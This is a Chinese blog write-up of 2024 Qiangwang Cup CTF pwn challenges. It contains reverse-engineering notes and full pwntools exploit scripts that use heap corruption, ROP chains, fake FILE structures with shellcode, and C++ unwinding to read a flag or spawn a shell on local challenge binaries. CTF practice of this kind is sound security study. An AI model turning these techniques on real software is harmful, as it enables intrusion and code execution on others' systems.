本文最后更新于 2025年3月16日 凌晨
强网杯2024pwn复现
prpr 复现基于ubuntu22.04环境,没有测试过远程
逆向分析 init_array ida打开直接查看main函数
发现printf函数中含有非标准库的格式化字符串符号%Q%W%B 猜测它应该使用了register_printf_function 注册了这些格式化字符串符号 不过main函数没有调用register_printf_function,那应该是main函数之前动了手脚
查看start,这是每个程序的最开始的地方
start调用了_libc_start_main函数,这个函数负责调用main函数 同时这个函数在调用main函数之前,会首先调用init_array中每个函数指针
找一下init_array段
第二个函数就是调用了register_printf_function的函数
main函数中调用了printf(“%Q%W%B”),对应调用了%Q,%W,%B注册的函数
QWB 接下来开始分析每个register_printf_function注册的函数,先从%Q,%W,%B开始,因为main函数中调用了这三个函数
Q打印了prpr
W依次调用了setvbuf、signal、sandbox signal给14号(即alarm信号)注册了一个handler函数 sandbox用prctl注册了一个沙箱,禁用了execve,直接用orw就好
B调用了PRO,接着看PRO
vm 经过分析发现这是个虚拟机 P是vm_init函数,R是vm_run函数,O是vm_release函数
vm_info保存了虚拟机指令地址,指令数量,寄存器地址,寄存器数量以及整个stack和mem
大致结构如下
其中虚拟机指令位于
vm_run函数初始化了pc、stack_pointer、mem_pointer三个指针,然后开始调用opcodes
继续分析剩下的函数,将每个符号与虚拟机指令对应 得到对照表
然后写个脚本翻译一下提取出的opcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 extract = [ 0x25 , 0x78 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x25 , 0x61 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x25 , 0x59 , 0x00 , 0x00 , 0x00 , 0x00 , ... ]from pwn import * ref = { "A" : "add" , "C" : "and" , "D" : "mem_and" , "E" : "or" , "F" : "mem_or" , "G" : "xor" , "H" : "mem_xor" , "i" : "mul" , "J" : "shl" , "K" : "shr" , "r" : "greater" , "M" : "eq" , "N" : "jmp" , "S" : "jnz" , "T" : "jz" , "U" : "push" , "V" : "push mem[pop()]" , "k" : "push_reg" , "X" : "mem[pop()] = pop()" , "Y" : "pop_reg" , "y" : "print pop()" , "a" : "push input_int()" , "b" : "read_mem" , "c" : "write_mem" , "f" : "dec_sp" , "g" : "call" , "n" : "ret" , "x" : "Exit" , }for i in range (0 ,250 ): op = bytes (extract[12 *i:12 *i+8 ]).decode() op = op.strip("\x00" ) op = op.strip("%" ) op = op.strip("#" ) arg = u32(bytes (extract[12 *i+8 :12 *i+12 ])) print (str (i).rjust(3 ," " ) + "\t" + ref[op].ljust(20 ,' ' ) + str (arg))
并且经过调试分析,发现虚拟机的pc是从71开始的,经过脚本处理与手动调整后的opcodes如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 0 Exit 0 1 : 1 push input_int() 0 2 pop_reg 1 3 push 255 4 push_reg 1 5 greater 0 6 jnz 0 7 push_reg 1 8 push 0 9 greater 0 10 jnz 0 11 push input_int() 0 12 pop_reg 2 13 push 63 14 push_reg 2 15 greater 0 16 jnz 0 17 push_reg 2 18 push 0 19 greater 0 20 jnz 0 21 push_reg 2 22 push 4 23 mul 0 24 write_mem 0 25 push_reg 1 26 mem_and 0 27 push_reg 2 28 push 4 29 mul 0 30 read_mem 0 31 ret 0 2 : 32 push input_int() 0 33 pop_reg 3 34 push input_int() 0 35 pop_reg 4 36 push 63 37 push_reg 4 38 greater 0 39 jnz 0 40 push_reg 4 41 push 0 42 greater 0 43 jnz 0 44 push 0 45 pop_reg 5 46 push_reg 4 47 push_reg 5 48 greater 0 49 jnz 59 50 call 60 51 push_reg 3 52 and 0 53 print pop() 0 54 push_reg 5 55 push 1 56 add 0 57 pop_reg 5 58 jmp 46 59 ret 0 func : 60 push input_int() 0 61 push_reg 5 62 mem[pop()] = pop() 0 63 push_reg 5 64 push mem[pop()] 0 65 push 255 66 eq 0 67 jnz 0 68 push_reg 5 69 push mem[pop()] 0 70 ret 0 _start : 71 push input_int() 0 72 pop_reg 0 73 push 1 74 push_reg 0 75 eq 0 76 jz 79 77 call 1 78 jmp 71 79 push 2 80 push_reg 0 81 eq 0 82 jz 85 83 call 32 84 jmp 71 85 push 3 86 push_reg 0 87 eq 0 88 jz 91 89 call 110 90 jmp 71 91 push 4 92 push_reg 0 93 eq 0 94 jz 97 95 call 141 96 jmp 71 97 push 5 98 push_reg 0 99 eq 0 100 jz 103 101 call 178 102 jmp 71 103 push 6 104 push_reg 0 105 eq 0 106 jz 109 107 call 209 108 jmp 71 109 Exit 0 3 :110 push input_int() 0 111 pop_reg 1 112 push 255 113 push_reg 1 114 greater 0 115 jnz 0 116 push_reg 1 117 push 0 118 greater 0 119 jnz 0 120 push input_int() 0 121 pop_reg 2 122 push 63 123 push_reg 2 124 greater 0 125 jnz 0 126 push_reg 2 127 push 0 128 greater 0 129 jnz 0 130 push_reg 2 131 push 4 132 mul 0 133 write_mem 0 134 push_reg 1 135 mem_xor 0 136 push_reg 2 137 push 4 138 mul 0 139 read_mem 0 140 ret 0 4 :141 push input_int() 0 142 pop_reg 3 143 push input_int() 0 144 pop_reg 4 145 push 62 146 push_reg 4 147 greater 0 148 jnz 0 149 push_reg 4 150 push 0 151 greater 0 152 jnz 0 153 push 0 154 pop_reg 5 155 push_reg 4 156 push_reg 5 157 greater 0 158 jnz 177 159 call 60 160 push_reg 3 161 xor 0 162 push_reg 5 163 mem[pop()] = pop() 0 164 push_reg 5 165 push mem[pop()] 0 166 push 255 167 eq 0 168 jnz 0 169 push_reg 5 170 push mem[pop()] 0 171 print pop() 0 172 push_reg 5 173 push 1 174 add 0 175 pop_reg 5 176 jmp 155 177 ret 0 5 :178 push input_int() 0 179 pop_reg 1 180 push 255 181 push_reg 1 182 greater 0 183 jnz 0 184 push_reg 1 185 push 0 186 greater 0 187 jnz 0 188 push input_int() 0 189 pop_reg 2 190 push 63 191 push_reg 2 192 greater 0 193 jnz 0 194 push_reg 2 195 push 0 196 greater 0 197 jnz 0 198 push_reg 2 199 push 4 200 mul 0 201 write_mem 0 202 push_reg 1 203 mem_or 0 204 push_reg 2 205 push 4 206 mul 0 207 read_mem 0 208 ret 0 6 :209 push input_int() 0 210 pop_reg 3 211 push input_int() 0 212 pop_reg 4 213 push 63 214 push_reg 4 215 greater 0 216 jnz 0 217 push_reg 4 218 push 0 219 greater 0 220 jnz 0 221 push 0 222 pop_reg 5 223 push_reg 4 224 push_reg 5 225 greater 0 226 jnz 245 227 call 60 228 push_reg 3 229 or 0 230 push_reg 5 231 mem[pop()] = pop() 0 232 push_reg 5 233 push mem[pop()] 0 234 push 255 235 eq 0 236 jnz 0 237 push_reg 5 238 push mem[pop()] 0 239 print pop() 0 240 push_reg 5 241 push 1 242 add 0 243 pop_reg 5 244 jmp 223 245 ret 0 246 Exit 0 247 Exit 0 248 Exit 0 249 Exit 0
这个虚拟机含有6个功能,_start接收一个int的输入,然后跳到对应的功能中去 功能1接收一个0到255的数,表示为key,再接收一个0到63的size 然后读取指定size的数据至mem中,然后用key和每个mem中的byte进行and运算,最后打印输出 功能1会对写入mem的数据进行and运算,然后打印的也是and后的结果
功能2接收一个数,表示为key,再接收一个0到63的size 然后依次读取一个int,写入mem中,最后将mem中的数据and后打印输出 功能2不会影响写入mem的数据,只会对打印and后的数据
功能3,5与1相同,不过分别进行的是xor与or运算 功能4,6与2相同,不过分别进行的是xor与or运算,并且会影响写入mem的数据
漏洞分析 漏洞点存在于mem_and、mem_or、mem_xor三个函数中 这三个函数在进行运算时,不会检测size,仅仅检测目标地址是否为’\0’ 因此就有可能覆盖到mem中的返回地址
漏洞利用 我们采用功能6进行mem的填充,将所有mem填充为-1,从而能够利用漏洞覆盖掉返回地址 然后采用功能3进行mem的布置与ret地址的覆盖,在mem布置虚拟机指令
我们将返回地址修改为50,以调用call 60这条指令 因为返回时mem_pointer会减一,需要调用call来使mem_pointer加一 同时此时的reg5为64,可以直接在ret地址上写数据,从而达到任意地址ret,我们将pc转移到我们的可控区即mem中
同时因为一次可控的大小有限,所有需要分多次写入虚拟机指令 第一阶段先泄露地址,然后读入第二阶段指令并跳转过去执行 第二阶段泄露地址的同时布置ROP链,然后读入第三阶段的指令并跳转过去执行 第三阶段泄露栈地址,同时覆盖vm_run的返回地址为pop rsp;ret,从而将栈迁移到第二阶段布置的ROP链上,然后使vm_run函数返回
由于第一、第二、第三阶段共用一个mem 需要保证第二阶段读入的指令不会覆盖掉第一阶段的的jmp指令,第三阶段读入的指令不会覆盖掉第二阶段的的jmp指令
一条虚拟机指令需要占用12字节的空间,一个mem的大小为256字节 并且经过计算发现使用的mem前需要有8个字节的填充,所以实际可用248字节 所以每个阶段最多可用20条指令,并且为了不覆盖前一阶段的jmp,每个阶段需要少用一条 也就是说第一次可用20条,第二次可用19条,第三次可用18条
写了一个gdb脚本,方便调试虚拟机指令,基本上只需要按c就可以运行一条虚拟机指令了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 set context-output /dev/null b *$rebase (0x201E)set $prc =$rebase (0x6020)set $stack_pointer =$rebase (0x601C)set $mem_pointer =$rebase (0x6018)set $vm_info =*(int ***)$rebase (0x6028)set $regs =*($vm_info +2)set $r0 =$regs set $r1 =$regs +1set $r2 =$regs +2set $r3 =$regs +3set $r4 =$regs +4set $r5 =$regs +5set $r6 =$regs +6set $stack =(int *)$vm_info +8 set $mem0 =(int *)$vm_info +8+1000set $mem1 =(int *)$vm_info +8+1000+65 display *$prc display *$stack_pointer display *$mem_pointer display $vm_info display $stack [*$stack_pointer -1] display $stack [*$stack_pointer ] display $mem0 display $mem1 display *$r0 display *$r1 display *$r2 display *$r3 display *$r4 display *$r5 display *$r6 display *((char *)$rsi +1 ) display *((char *)$rsi +2 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 from pwn import * context.log_level = 'debug' p = process("./prpr" ) program = ELF("./prpr" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" )def xor_content (xor_key,size,content ): p.sendline(b'3' ) p.sendline(str (xor_key).encode()) p.sendline(b'%d' % (size / 4 )) p.send(content)def or_content_seq (or_key,size,data ): p.sendline(b'6' ) p.sendline(str (or_key).encode()) p.sendline(b'%d' % (size // 4 )) for i in range (size//4 +1 ): p.sendline(data)def push (x ): if x < 0 : x = x + 0x100000000 return b'%U' .ljust(8 ,b'\x00' ) + p32(x)def push_r (idx ): return b'%k' .ljust(8 ,b'\x00' ) + p32(idx)def pop_r (idx ): return b'%Y' .ljust(8 ,b'\x00' ) + p32(idx)def load (): ''' push mem[pop()] ''' return b'%#V' .ljust(8 ,b'\x00' ) + p32(0 )def save (): ''' mem[pop()] = pop() ''' return b'%#X' .ljust(8 ,b'\x00' ) + p32(0 )def print_sp (): return b'%y' .ljust(8 ,b'\x00' ) + p32(0 )def input_sp (): return b'%a' .ljust(8 ,b'\x00' ) + p32(0 )def jmp (x ): if x < 0 : x = x + 0x100000000 return b'%N' .ljust(8 ,b'\x00' ) + p32(x)def write_mem (): return b'%c' .ljust(8 ,b'\x00' ) + p32(0 )def read_mem (): return b'%b' .ljust(8 ,b'\x00' ) + p32(0 )def call (x ): if x < 0 : x = x + 0x100000000 return b'%g' .ljust(8 ,b'\x00' ) + p32(x)def retn (): return b'%n' .ljust(8 ,b'\x00' ) + p32(0 ) p.recvuntil(b'[___]' ) code = b'a' *0x8 code += call(-0x65c4 //12 +1 ) code += jmp(-0x65c4 //12 +2 ) code += push(-0x10c4 //4 ) + load() code += print_sp() code += push(-0x10c4 //4 +1 ) + load() code += print_sp() code += push(-0x19D4 //4 ) + load() code += print_sp() code += push(-0x19D4 //4 +1 ) + load() code += print_sp() code += input_sp() code += load() code += print_sp() code += push(0xec ) + write_mem() code += jmp(-0x65c4 //12 +3 ) code = code.ljust(0xfc ,b'a' ) payload = b'' for x in code: payload += p8(x ^ 0x68 ) or_content_seq(0xfe ,0xfc ,b'-1' ) xor_content(0x68 ,0xfc ,payload) p.sendline(str (-0x65c4 //12 ).encode()) p.recvuntil(b'aaaaaaaa%g\n' ) heap_addr = (int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff ) | ((int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff ) << 32 ) elf_base = ((int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff ) | ((int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff ) << 32 )) - 0x2750 free_got_addr = elf_base + program.got['free' ] memory_base = heap_addr - 0x65CC print ('heap_addr=' ,hex (heap_addr))print ('memory_base=' ,hex (memory_base))print ('elf_base=' ,hex (elf_base)) p.sendline(str ((free_got_addr - memory_base)//4 ).encode()) free_addr_low = int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff print ('free_addr_low=' ,hex (free_addr_low)) code = b'a' *0x8 code += push(0xfc ) + write_mem() code += retn() code += input_sp() code += load() code += print_sp() code += call(-0x65c4 //12 ) code += input_sp() code += push(-0x10b4 //4 ) + save() code += input_sp() code += push(-0x10b4 //4 +1 ) + save() code += push_r(0 ) code += print_sp() code += push(0xd4 ) + write_mem() code += jmp(-0x65c4 //12 ) code = code.ljust(0xd0 ,b'a' ) p.sendline(code) sleep(1 ) p.sendline(str ((free_got_addr - memory_base)//4 +1 )) free_addr = free_addr_low | ((int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff ) << 32 ) libc_base = free_addr - libc.sym['free' ] open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] gets_addr = libc_base + libc.sym['gets' ] puts_addr = libc_base + libc.sym['puts' ] environ_addr = libc_base + libc.sym['environ' ] syscall = libc_base + next (libc.search(asm('syscall;ret' ,arch='amd64' ))) pop_rax = libc_base + 0x0000000000045eb0 pop_rsp = libc_base + 0x0000000000035732 pop_rdi = libc_base + 0x000000000002a3e5 pop_rsi = libc_base + 0x000000000002be51 pop_rdx_rbx = libc_base + 0x00000000000904a9 print ('free_addr=' ,hex (free_addr))print ('libc_base=' ,hex (libc_base)) rop_addr = heap_addr - 0x64c8 flag_addr = rop_addr + 23 * 8 payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall) payload += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx_rbx) + p64(100 )*2 + p64(read_addr) payload += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx_rbx) + p64(100 )*2 + p64(write_addr) payload += b'./flag\x00' p.sendline(payload)def pack_int (x ): if x & 0x80000000 != 0 : x -= 0x100000000 return str (x).encode() p.sendline(pack_int(environ_addr & 0xffffffff )) p.sendline(pack_int(environ_addr >> 32 )) stack_addr_low = (int (p.recvuntil(b'\n' ,drop = True )) & 0xffffffff ) code = b'a' *0x8 code += push_r(1 ) code += print_sp() code += input_sp() code += push(-0x10b4 //4 ) + save() code += input_sp() code += push(-0x10b4 //4 +1 ) + save() code += push(rop_addr & 0xffffffff ) code += pop_r(2 ) code += push(rop_addr >> 32 ) code += pop_r(3 ) code += push(pop_rsp & 0xffffffff ) code += pop_r(0 ) code += push(pop_rsp >> 32 ) code += pop_r(1 ) code += jmp(1000 ) code = code.ljust(0xd4 ,b'a' ) p.sendline(code) stack_addr = stack_addr_low | ((int (p.recvuntil('\n' ,drop = True )) & 0xffffffff ) << 32 )print ('stack_addr=' ,hex (stack_addr)) run_func_return_stack = stack_addr - 0x4330 p.sendline(pack_int(run_func_return_stack & 0xffffffff )) p.sendline(pack_int(run_func_return_stack >> 32 )) p.interactive()
chat-with-me rust pwn 逆向难度很大,基本上只能靠调试慢慢试
add()函数会得到一个栈上的指针 show()函数可以打印出80字节的数据,可以直接获取堆地址、栈地址 edit()函数可以编辑数据,并且有任意地址free
通过大量调用add()不断增大存放指针的堆块,直到达到unsorted bin的大小 然后用任意地址free掉这个堆块,再调用show()即可获取libc基地址
然后经过调试测试输入选择时会申请堆块,然后将数据拷贝进去 因此可以伪造堆块将堆分配到栈上进行ROP
利用edit函数在io缓冲区伪造0x30大小的堆块,然后释放掉它 测试输入选择时申请堆块拷贝数据后会释放掉它,因此需要在改写刚才伪造堆块的next指针时修改堆块的大小,从而让下次申请可以申请到修改后的指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * context.log_level = "debug" context.arch = "amd64" p = process("./pwn" ) elf = ELF("pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" )def add (): p.sendlineafter(b"Choice > " ,b'1' )def show (idx ): p.sendlineafter(b"Choice > " ,b'2' ) p.sendlineafter(b"Index > " ,str (idx).encode())def edit (idx,content ): p.sendlineafter(b"Choice > " ,b'3' ) p.sendlineafter(b"Index > " ,str (idx).encode()) p.sendafter(b"Content > " ,content)def delete (idx ): p.sendlineafter(b"Choice > " ,b'4' ) p.sendlineafter(b"Index > " ,str (idx).encode())def quit (): p.sendlineafter(b"Choice > " ,b'5' )def unpackarr (): p.recvuntil(b'Content: ' ) arr = eval (p.recvuntil(b']' )) print (arr) res = [0 ]*10 for i in range (0 ,10 ): res[i] = u64(bytes (arr[8 *i:8 *i+8 ])) return res add() show(0 ) arr = unpackarr() heap_addr = arr[1 ] stack_addr = arr[4 ] bss_addr = arr[5 ] heap_base = heap_addr - 0x2bb0 elf_base = bss_addr - 0x0635b0 log.success("stack_addr -> " + hex (stack_addr)) log.success("heap_base -> " + hex (heap_base)) log.success("elf_base -> " + hex (elf_base)) msg_addr = heap_base + 0x2BD0 for i in range (150 ): add() edit(0 ,cyclic(32 )+p64(msg_addr)) show(0 ) arr = unpackarr() libc_addr = arr[4 ] libc_base = libc_addr - 0x21acf0 add() edit(150 ,cyclic(32 )+p64(heap_base + 0x000bd0 )+p64(0x31 )) edit(150 ,cyclic(32 )+p64(0 ) + p64(0x101 ) + p64(((heap_base+0x000bd0 ) >> 12 ) ^ (stack_addr-88 ))) p.sendline(b'0' *32 +b'1' ) pop_rdi = libc_base + 0x000000000002a3e5 do_system = libc_base + 0x050900 + 2 binsh = libc_base + next (libc.search("/bin/sh\x00" )) p.sendline(p64(0 )+p64(pop_rdi)+p64(binsh)+p64(do_system)) p.interactive()
baby_heap glibc2.35的堆题
解法一 赛时出题人失误没清空环境变量中的flag 所以可以将程序libc中的strncmp的got换成printf函数的地址 这样程序在调用putenv时便会打印出所有环境变量的值,从而获取flag
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import * context.log_level = "debug" context.arch = "amd64" p = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("./libc-2.35.so" )def add (size ): p.sendlineafter(b"choice: \n" ,b'1' ) p.sendlineafter(b"size \n" ,str (size).encode())def delete (idx ): p.sendlineafter(b"choice: \n" ,b'2' ) p.sendlineafter(b"delete: \n" ,str (idx).encode())def edit (idx,content ): p.sendlineafter(b"choice: \n" ,b'3' ) p.sendlineafter(b"edit: \n" ,str (idx).encode()) p.sendafter(b"content \n" ,content)def show (idx ): p.sendlineafter(b"choice: \n" ,b'4' ) p.sendlineafter(b"show: \n" ,str (idx).encode())def env (choice ): p.sendlineafter(b"choice: \n" ,b'5' ) p.sendlineafter(b"sad !\n" ,str (choice).encode())def secret (buf,content ): p.sendlineafter(b"choice: \n" ,b'6' ) p.recvuntil(b'addr \n' ) p.send(buf) sleep(1 ) p.send(content) add(0x520 ) add(0x520 ) delete(1 ) show(1 ) p.recvuntil(b'here \n' ) libc_addr = u64(p.recv(8 )) libc_base = libc_addr - 0x21ace0 log.success("libc_base -> " + hex (libc_base)) secret(p64(libc_base + libc.got['strncmp' ]),p64(libc_base + libc.sym['printf' ])) env(2 ) p.interactive()
解法二 出题人还清空了io_wfile_jumps 应该是想要禁用apple,不过没禁好,任然可用io_wfile_jumps_maybe_mmap这条线
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn import * context.log_level = "debug" context.arch = "amd64" p = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" )def add (size ): p.sendlineafter(b"choice: \n" ,b'1' ) p.sendlineafter(b"size \n" ,str (size).encode())def delete (idx ): p.sendlineafter(b"choice: \n" ,b'2' ) p.sendlineafter(b"delete: \n" ,str (idx).encode())def edit (idx,content ): p.sendlineafter(b"choice: \n" ,b'3' ) p.sendlineafter(b"edit: \n" ,str (idx).encode()) p.sendafter(b"content \n" ,content)def show (idx ): p.sendlineafter(b"choice: \n" ,b'4' ) p.sendlineafter(b"show: \n" ,str (idx).encode())def secret (choice ): p.sendlineafter(b"choice: \n" ,b'5' ) p.sendlineafter(b"sad !\n" ,str (choice).encode())def default (buf,content ): p.sendlineafter(b"choice: \n" ,b'6' ) p.recvuntil(b'addr \n' ) p.send(buf) sleep(1 ) p.send(content) secret(1 ) add(0x520 ) add(0x500 ) add(0x510 ) delete(1 ) add(0x550 ) delete(3 ) show(1 ) p.recvuntil(b'The content is here \n' ) libc_addr = u64(p.recv(8 )) p.recv(8 ) heap_addr = u64(p.recv(8 )) libc_base = libc_addr-0x21b110 heap_base = heap_addr-0x001950 log.success("libc_base -> " +hex (libc_base)) log.success("heap_base -> " +hex (heap_base)) IO_list_all = libc_base + libc.sym['_IO_list_all' ] fake_IO_file = heap_base + 0x001950 IO_wfile_jumps_maybe_mmap = libc_base + 0x216f40 f = flat({ 0x0 : p64(0 ), 0x8 : p64(0 ), 0x10 : p64(0 ), 0x18 : p64(0 ), 0x20 : p64(0 ), 0x28 : p64(0 ), 0x30 : p64(0 ), 0x38 : p64(0 ), 0x40 : p64(0 ), 0x48 : p64(0 ), 0x50 : p64(0 ), 0x58 : p64(0 ), 0x60 : p64(0 ), 0x68 : p64(0 ), 0x70 : p32(0 ), 0x74 : p32(0 ), 0x78 : p64(0 ), 0x80 : p16(0 ), 0x82 : p8(0 ), 0x83 : p8(0 ), 0x88 : p64(0 ), 0x90 : p64(0 ), 0x98 : p64(0 ), 0xa0 : p64(fake_IO_file + 0xe0 ), 0xa8 : p64(0 ), 0xb0 : p64(0 ), 0xb8 : p64(0 ), 0xc0 : p32(0 ), 0xc4 : p32(0 ), 0xd8 : p64(IO_wfile_jumps_maybe_mmap), }, filler = b'\x00' ) iofile = f.ljust(0xe0 ,b'\x00' ) iofile += b'\x00' *0xe0 iofile += p64(fake_IO_file + 0x200 ) iofile = iofile.ljust(0x200 , b"\x00" ) iofile += b"\x00" * 0x68 iofile += p64(libc_base + 0x00000000001136df ) iofile += p64(0 )*3 iofile += p64(libc_base+libc.sym['setcontext' ]+61 ) iofile += p64(0 )*4 iofile += p64(fake_IO_file+0x2c0 ) iofile = iofile.ljust(0x2c0 ,b'\x00' ) ret = libc_base + 0x0000000000029139 pop_rdi = libc_base + 0x000000000002a3e5 pop_rsi = libc_base + 0x000000000002be51 pop_rdx_r12 = libc_base + 0x000000000011f2e7 setcontext = flat({ 0xa0 : p64(fake_IO_file+0x368 ), 0x80 : p64(0 ), 0x78 : p64(0 ), 0x48 : p64(0 ), 0x50 : p64(0 ), 0x58 : p64(0 ), 0x60 : p64(0 ), 0xa8 : p64(ret), 0x70 : p64(0 ), 0x68 : p64(0 ), 0x98 : p64(0 ), 0x28 : p64(0 ), 0x30 : p64(0 ), 0x88 : p64(0 ), },filler = b'\x00' ) iofile += setcontext iofile = iofile.ljust(0x360 ,b'\x00' ) iofile += p64(pop_rdi) + p64(heap_base) iofile += p64(pop_rsi) + p64(0x10000 ) iofile += p64(pop_rdx_r12) + p64(7 ) + p64(0 ) iofile += p64(libc_base + libc.sym['mprotect' ]) iofile += p64(fake_IO_file+0x400 ) iofile = iofile.ljust(0x400 ,b'\x00' ) shellcode = b'H\xc7\xc0flagPH1\xffH\x83\xefdH\x89\xe6j\x00j\x00j\x00H\x89\xe2I\xc7\xc2\x18\x00\x00\x00h\xb5\x01\x00\x00X\x0f\x05H\x89\xc7H\x89\xe6\xba\x00\x01\x00\x001\xc0\x0f\x05\xbf\x01\x00\x00\x00H\x89\xe6j\x01X\x0f\x05' iofile += shellcode payload = p64(0 ) + p64(0 ) + p64(0 ) + p64(IO_list_all-0x20 ) payload += iofile[0x30 :] edit(1 ,payload) add(0x500 ) p.sendlineafter(b"choice: \n" ,b'5' ) p.interactive()
expect_number 存储历史输入和当前结果的数组存在溢出,可以覆盖一个指针 这个指针原本指向的是一个函数指针,用于退出程序 不过可以覆盖指针的后几位,使其指向另一个函数,这个函数中存在栈溢出和c++异常处理 可用利用c++异常处理机制跳转到system(“/bin/sh”)的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *import ctypes context.log_level = 'debug' clibc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6" ) clibc.srand(1 ) p = process("./pwn" ) program = ELF("./pwn" )def cont (choose ): p.sendlineafter(b'choice \n' ,b'1' ) p.sendlineafter(b'0\n' ,str (choose).encode())def show (): p.sendlineafter(b'choice \n' ,b'2' )def submit (): p.sendlineafter(b'choice \n' ,b'3' )def Exit (): p.sendlineafter(b'choice \n' ,b'4' ) choose = [1 ,1 ,0 ,1 ,0 ,1 ,1 ,2 ,0 ,0 ,2 ,1 ,2 ,1 ,1 ,2 ,2 ,1 ,2 ,2 ,1 ,2 ,1 ,0 ,2 ,2 ] ref = {1 :0 ,2 :0 ,3 :1 ,4 :1 , }for i in range (0 ,276 ): op = clibc.rand() % 4 + 1 if i < len (choose): cont(choose[i]) else : cont(ref[op]) show() link = u64(p.recvline()[-7 :-1 ].ljust(8 ,b'\x00' )) program.address = link - 0x4c60 Exit() p.recvuntil(b'number.\n' ) bss = program.address + 0x5500 unwind_target = program.address + 0x2516 payload = b'a' *0x20 + p64(bss) + p64(unwind_target) p.send(payload) p.interactive()